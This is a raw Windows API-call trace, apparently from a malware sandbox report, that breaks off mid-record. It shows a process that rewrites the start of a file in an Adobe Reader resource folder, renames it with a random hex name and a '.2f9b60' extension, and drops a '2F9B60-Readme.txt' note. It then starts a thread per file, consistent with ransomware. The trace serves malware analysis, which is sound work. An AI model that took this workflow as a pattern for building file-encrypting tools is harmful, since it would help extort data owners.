RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x3eb04a33 [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0xe50ba80 [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x44eac541 [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x7f34ac1f [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x2ecfc65c [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x111a9e92 [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x4e9a171b [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x718749c1 [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x35640d45 [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x1959bd3 [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x254c0273 [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x13871047 [0166.519] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x7d58aaf9 [0166.519] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x41869b73 [0166.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6f70 [0166.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec60a0 [0166.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6fd0 [0166.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec60a0) returned 1 [0166.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6e50) returned 1 [0166.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ab52c0 [0166.530] SetFilePointerEx (in: hFile=0x2a3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.530] ReadFile (in: hFile=0x2a3c, lpBuffer=0x42ab52c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d99f990, lpOverlapped=0x0 | out: lpBuffer=0x42ab52c0*, lpNumberOfBytesRead=0x3d99f990*=0x3c00, lpOverlapped=0x0) returned 1 [0166.532] SetFilePointerEx (in: hFile=0x2a3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18f50 [0166.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec60a0 [0166.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6e50 [0166.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6e50) returned 1 [0166.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ab8ed0 [0166.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6e50 [0166.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec60a0) returned 1 [0166.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18f50) returned 1 [0166.534] WriteFile (in: hFile=0x2a3c, lpBuffer=0x42ab8ed0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d99f990, lpOverlapped=0x0 | out: lpBuffer=0x42ab8ed0*, lpNumberOfBytesWritten=0x3d99f990*=0x3c00, lpOverlapped=0x0) returned 1 [0198.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ab8ed0) returned 1 [0198.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ab52c0) returned 1 [0198.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1ced16b0 [0198.525] SetFilePointerEx (in: hFile=0x2a3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0198.526] WriteFile (in: hFile=0x2a3c, lpBuffer=0x42c20b40*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3d99fa40, lpOverlapped=0x0 | out: lpBuffer=0x42c20b40*, lpNumberOfBytesWritten=0x3d99fa40*=0x128, lpOverlapped=0x0) returned 1 [0216.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62230 [0216.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0216.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6e60 [0216.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6e60) returned 1 [0216.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x431acea0 [0216.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6e60 [0216.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6cb0 [0216.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6cb0) returned 1 [0216.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0216.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62230) returned 1 [0216.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6d) returned 0x1b79e270 [0216.580] sprintf (in: _Dest=0x1b79e270, _Format="%c%c" | out: _Dest="e4") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e272, _Format="%c%c" | out: _Dest="a5") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e274, _Format="%c%c" | out: _Dest="af") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e276, _Format="%c%c" | out: _Dest="25") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e278, _Format="%c%c" | out: _Dest="4e") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e27a, _Format="%c%c" | out: _Dest="97") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e27c, _Format="%c%c" | out: _Dest="e8") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e27e, _Format="%c%c" | out: _Dest="bc") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e280, _Format="%c%c" | out: _Dest="d4") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e282, _Format="%c%c" | out: _Dest="4f") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e284, _Format="%c%c" | out: _Dest="04") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e286, _Format="%c%c" | out: _Dest="50") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e288, _Format="%c%c" | out: _Dest="88") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e28a, _Format="%c%c" | out: _Dest="9f") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e28c, _Format="%c%c" | out: _Dest="ff") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e28e, _Format="%c%c" | out: _Dest="61") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e290, _Format="%c%c" | out: _Dest="e8") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e292, _Format="%c%c" | out: _Dest="0f") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e294, _Format="%c%c" | out: _Dest="ee") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e296, _Format="%c%c" | out: _Dest="9a") returned 2 [0216.580] sprintf (in: _Dest=0x1b79e298, _Format="%c%c" | out: _Dest="1e") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e29a, _Format="%c%c" | out: _Dest="f0") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e29c, _Format="%c%c" | out: _Dest="d7") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e29e, _Format="%c%c" | out: _Dest="41") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2a0, _Format="%c%c" | out: _Dest="fa") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2a2, _Format="%c%c" | out: _Dest="4c") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2a4, _Format="%c%c" | out: _Dest="22") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2a6, _Format="%c%c" | out: _Dest="7b") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2a8, _Format="%c%c" | out: _Dest="cc") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2aa, _Format="%c%c" | out: _Dest="5d") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2ac, _Format="%c%c" | out: _Dest="9f") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2ae, _Format="%c%c" | out: _Dest="f4") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2b0, _Format="%c%c" | out: _Dest="6d") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2b2, _Format="%c%c" | out: _Dest="b7") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2b4, _Format="%c%c" | out: _Dest="e8") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2b6, _Format="%c%c" | out: _Dest="a7") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2b8, _Format="%c%c" | out: _Dest="0c") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2ba, _Format="%c%c" | out: _Dest="20") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2bc, _Format="%c%c" | out: _Dest="aa") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2be, _Format="%c%c" | out: _Dest="c6") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2c0, _Format="%c%c" | out: _Dest="60") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2c2, _Format="%c%c" | out: _Dest="bc") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2c4, _Format="%c%c" | out: _Dest="09") returned 2 [0216.581] sprintf (in: _Dest=0x1b79e2c6, _Format="%c%c" | out: _Dest="de") returned 2 [0216.582] sprintf (in: _Dest=0x1b79e2c8, _Format="%c%c" | out: _Dest="d3") returned 2 [0216.582] sprintf (in: _Dest=0x1b79e2ca, _Format="%c%c" | out: _Dest="0e") returned 2 [0216.582] sprintf (in: _Dest=0x1b79e2cc, _Format="%c%c" | out: _Dest="b9") returned 2 [0216.582] sprintf (in: _Dest=0x1b79e2ce, _Format="%c%c" | out: _Dest="06") returned 2 [0216.582] sprintf (in: _Dest=0x1b79e2d0, _Format="%c%c" | out: _Dest="9d") returned 2 [0216.582] sprintf (in: _Dest=0x1b79e2d2, _Format="%c%c" | out: _Dest="d2") returned 2 [0216.582] sprintf (in: _Dest=0x1b79e2d4, _Format="%c%c" | out: _Dest="ef") returned 2 [0216.582] sprintf (in: _Dest=0x1b79e2d6, _Format="%c%c" | out: _Dest="fd") returned 2 [0216.582] sprintf (in: _Dest=0x1b79e2d8, _Format="%c%c" | out: _Dest="a5") returned 2 [0216.582] sprintf (in: _Dest=0x1b79e2da, _Format="%c%c" | out: _Dest="6a") returned 2 [0216.582] RtlInitAnsiString (in: DestinationString=0x3d99fab8, SourceString="e4a5af254e97e8bcd44f0450889fff61e80fee9a1ef0d741fa4c227bcc5d9ff46db7e8a70c20aac660bc09ded30eb9069dd2effda56a" | out: DestinationString="e4a5af254e97e8bcd44f0450889fff61e80fee9a1ef0d741fa4c227bcc5d9ff46db7e8a70c20aac660bc09ded30eb9069dd2effda56a") [0216.582] RtlAnsiStringToUnicodeString (in: DestinationString=0x3d99fa88, SourceString="e4a5af254e97e8bcd44f0450889fff61e80fee9a1ef0d741fa4c227bcc5d9ff46db7e8a70c20aac660bc09ded30eb9069dd2effda56a", AllocateDestinationString=1 | out: DestinationString="e4a5af254e97e8bcd44f0450889fff61e80fee9a1ef0d741fa4c227bcc5d9ff46db7e8a70c20aac660bc09ded30eb9069dd2effda56a") returned 0x0 [0216.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1ceb5120 [0216.583] wcscat (in: _Dest=0x1ceb4f40, _Source="e4a5af254e97e8bcd44f0450889" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\e4a5af254e97e8bcd44f0450889") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\e4a5af254e97e8bcd44f0450889" [0216.583] wcscat (in: _Dest=0x1ceb4f40, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\e4a5af254e97e8bcd44f0450889.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\e4a5af254e97e8bcd44f0450889.2f9b60" [0216.583] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\e4a5af254e97e8bcd44f0450889.2f9b60", NtPathName=0x3d99fa60, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\e4a5af254e97e8bcd44f0450889.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0216.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x431a8720 [0222.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a8720) returned 1 [0222.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b86d0) returned 1 [0222.115] NtQueryInformationFile (in: FileHandle=0x2a3c, IoStatusBlock=0x3d99fac8, FileInformation=0x3d99fad8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3d99fac8, FileInformation=0x3d99fad8) returned 0x0 [0222.116] NtSetInformationFile (FileHandle=0x2a3c, IoStatusBlock=0x3d99fac8, FileInformation=0x3d99fad8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb4f40) returned 1 [0223.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb5120) returned 1 [0223.121] FlushFileBuffers (hFile=0x2a3c) returned 1 [0224.000] CloseHandle (hObject=0x2a3c) returned 1 [0224.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x430fe720 [0224.874] wcscpy (in: _Dest=0x430fe720, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0224.874] wcscat (in: _Dest=0x430fe720, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\2F9B60-Readme.txt" [0224.875] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\2f9b60-readme.txt")) returned 0xffffffff [0224.875] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17d8 [0225.821] WriteFile (in: hFile=0x17d8, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3d99f980, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3d99f980*=0xba9, lpOverlapped=0x0) returned 1 [0226.280] CloseHandle (hObject=0x17d8) returned 1 [0226.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fe720) returned 1 [0226.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfa20) returned 1 [0226.796] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_AE.txt", cAlternateFileName="DI3495~1.TXT")) returned 1 [0226.796] wcscmp (_String1="DisplayLanguageNames.ar_AE.txt", _String2=".") returned 1 [0226.796] wcscmp (_String1="DisplayLanguageNames.ar_AE.txt", _String2="..") returned 1 [0226.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1cecfa20 [0226.796] wcscpy (in: _Dest=0x1cecfa20, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0226.796] wcscat (in: _Dest=0x1cecfa20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0226.796] wcscat (in: _Dest=0x1cecfa20, _Source="DisplayLanguageNames.ar_AE.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt" [0227.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cecfa20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2334 [0227.274] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_BH.txt", cAlternateFileName="DI7F79~1.TXT")) returned 1 [0227.274] wcscmp (_String1="DisplayLanguageNames.ar_BH.txt", _String2=".") returned 1 [0227.274] wcscmp (_String1="DisplayLanguageNames.ar_BH.txt", _String2="..") returned 1 [0227.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1ced1000 [0227.275] wcscpy (in: _Dest=0x1ced1000, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.275] wcscat (in: _Dest=0x1ced1000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.275] wcscat (in: _Dest=0x1ced1000, _Source="DisplayLanguageNames.ar_BH.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt" [0227.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced1000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2330 [0227.275] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_DZ.txt", cAlternateFileName="DIF61A~1.TXT")) returned 1 [0227.275] wcscmp (_String1="DisplayLanguageNames.ar_DZ.txt", _String2=".") returned 1 [0227.275] wcscmp (_String1="DisplayLanguageNames.ar_DZ.txt", _String2="..") returned 1 [0227.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1cecf940 [0227.276] wcscpy (in: _Dest=0x1cecf940, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.276] wcscat (in: _Dest=0x1cecf940, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.276] wcscat (in: _Dest=0x1cecf940, _Source="DisplayLanguageNames.ar_DZ.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt" [0227.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cecf940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27a4 [0227.277] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_EG.txt", cAlternateFileName="DIC7FA~1.TXT")) returned 1 [0227.277] wcscmp (_String1="DisplayLanguageNames.ar_EG.txt", _String2=".") returned 1 [0227.277] wcscmp (_String1="DisplayLanguageNames.ar_EG.txt", _String2="..") returned 1 [0227.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1cecf5c0 [0227.278] wcscpy (in: _Dest=0x1cecf5c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.278] wcscat (in: _Dest=0x1cecf5c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.278] wcscat (in: _Dest=0x1cecf5c0, _Source="DisplayLanguageNames.ar_EG.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_EG.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_EG.txt" [0227.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cecf5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x279c [0227.278] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_IN.txt", cAlternateFileName="DI4FA4~1.TXT")) returned 1 [0227.278] wcscmp (_String1="DisplayLanguageNames.ar_IN.txt", _String2=".") returned 1 [0227.278] wcscmp (_String1="DisplayLanguageNames.ar_IN.txt", _String2="..") returned 1 [0227.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1ced0740 [0227.279] wcscpy (in: _Dest=0x1ced0740, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.279] wcscat (in: _Dest=0x1ced0740, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.279] wcscat (in: _Dest=0x1ced0740, _Source="DisplayLanguageNames.ar_IN.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IN.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IN.txt" [0227.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced0740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2798 [0227.279] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_IQ.txt", 